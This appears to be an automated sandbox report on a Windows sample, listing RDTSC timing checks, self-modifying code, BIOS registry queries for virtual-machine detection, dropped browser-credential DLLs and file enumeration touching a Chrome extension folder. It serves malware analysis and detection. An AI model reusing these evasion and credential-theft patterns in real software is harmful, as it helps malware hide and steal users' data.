Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865DE3 second address: 865E00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F91A0DF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865E00 second address: 865E06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865E06 second address: 865E0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865E0A second address: 865E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE4F8E78895h 0x0000000d jne 00007FE4F8E78886h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86DCC8 second address: 86DCD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86DCD4 second address: 86DCD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D6B2 second address: 86D6BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE4F91A0DE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D6BC second address: 86D6C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D6C0 second address: 86D6D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FE4F91A0DEAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D6D4 second address: 86D6DA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D6DA second address: 86D6E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D6E0 second address: 86D6E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D6E6 second address: 86D6EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D6EC second address: 86D6F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D9B5 second address: 86D9DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 jne 00007FE4F91A0E0Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FE4F91A0DF5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B851 second address: 87B864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jmp 00007FE4F8E7888Bh 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B864 second address: 87B878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FE4F91A0DEEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B878 second address: 87B88D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE4F8E7888Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B269 second address: 87B2A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE4F91A0DE6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jc 00007FE4F91A0DE6h 0x00000014 popad 0x00000015 jnp 00007FE4F91A0DFCh 0x0000001b popad 0x0000001c je 00007FE4F91A0DFCh 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B2A5 second address: 87B2AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE4F8E78886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B3E7 second address: 87B404 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnc 00007FE4F91A0DE6h 0x00000009 jmp 00007FE4F91A0DEBh 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007FE4F91A0DE6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87B404 second address: 87B42C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F8E78897h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F900 second address: 87F906 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88667C second address: 886683 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DC8D second address: 88DCAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE4F91A0DE6h 0x0000000a pop edx 0x0000000b pushad 0x0000000c jbe 00007FE4F91A0DE6h 0x00000012 ja 00007FE4F91A0DE6h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DCAA second address: 88DCBC instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE4F8E78886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007FE4F8E78886h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89131C second address: 89132E instructions: 0x00000000 rdtsc 0x00000002 js 00007FE4F91A0DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FE4F91A0DE8h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891186 second address: 89118E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89118E second address: 891196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 891196 second address: 8911AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4F8E7888Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 897EB7 second address: 897EDA instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE4F91A0DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FE4F91A0DF5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898446 second address: 89845C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4F8E7888Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007FE4F8E78886h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89845C second address: 898476 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE4F91A0DE6h 0x00000008 jmp 00007FE4F91A0DF0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898476 second address: 898483 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jl 00007FE4F8E78886h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A597E second address: 8A5982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5982 second address: 8A598C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE4F8E78886h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B873D second address: 8B8741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8741 second address: 8B874F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FE4F8E7888Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA4A5 second address: 8BA4B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jl 00007FE4F91A0DE6h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA4B3 second address: 8BA4B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA4B7 second address: 8BA4BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA4BB second address: 8BA4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007FE4F8E7888Dh 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push ebx 0x00000013 jmp 00007FE4F8E78891h 0x00000018 pop ebx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC386 second address: 8CC38C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC38C second address: 8CC390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC390 second address: 8CC39A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE4F91A0DE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC39A second address: 8CC3BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FE4F8E7889Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC3BB second address: 8CC3C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC3C1 second address: 8CC3C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC3C5 second address: 8CC3E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007FE4F91A0E08h 0x00000010 jng 00007FE4F91A0DE8h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jng 00007FE4F91A0DE6h 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC3E7 second address: 8CC3EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB16C second address: 8CB18A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE4F91A0DF4h 0x00000009 je 00007FE4F91A0DE6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CB2C2 second address: 8CB2C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBF72 second address: 8CBF82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007FE4F91A0DE6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CBF82 second address: 8CBF86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CF335 second address: 8CF349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 pop edi 0x0000000a je 00007FE4F91A0E06h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CF349 second address: 8CF34F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1ED9 second address: 8D1EDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D3784 second address: 8D37AC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jbe 00007FE4F8E78886h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007FE4F8E78886h 0x00000014 jmp 00007FE4F8E78894h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D37AC second address: 8D37B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D37B0 second address: 8D37C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4F8E7888Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FE4F8E78886h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D37C9 second address: 8D37CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E603C7 second address: 4E60421 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F8E78899h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FE4F8E78893h 0x00000014 adc esi, 7A174CFEh 0x0000001a jmp 00007FE4F8E78899h 0x0000001f popfd 0x00000020 mov di, ax 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60499 second address: 4E604A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E604A1 second address: 4E604A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E604A5 second address: 4E604B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E604B4 second address: 4E604BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E604BA second address: 4E604FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F91A0DEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FE4F91A0DEBh 0x00000013 adc ax, 748Eh 0x00000018 jmp 00007FE4F91A0DF9h 0x0000001d popfd 0x0000001e mov cx, CB97h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E604FD second address: 4E60502 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0508 second address: 7F050E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E605FB second address: 4E60601 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60601 second address: 4E6061F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F91A0DF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6061F second address: 4E60625 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60625 second address: 4E60666 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE4F91A0DF0h 0x00000009 and esi, 26F20208h 0x0000000f jmp 00007FE4F91A0DEBh 0x00000014 popfd 0x00000015 mov di, ax 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FE4F91A0DF1h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60666 second address: 4E60682 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F8E78891h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60682 second address: 4E60686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60686 second address: 4E6068C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6068C second address: 4E606A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE4F91A0DF1h 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6439F6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 643AC3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7E5B33 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 80D928 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_004139B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004143F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BCB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414050 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00414050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004133C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DC50

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401160 GetSystemInfo,ExitProcess,

0_2_00401160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
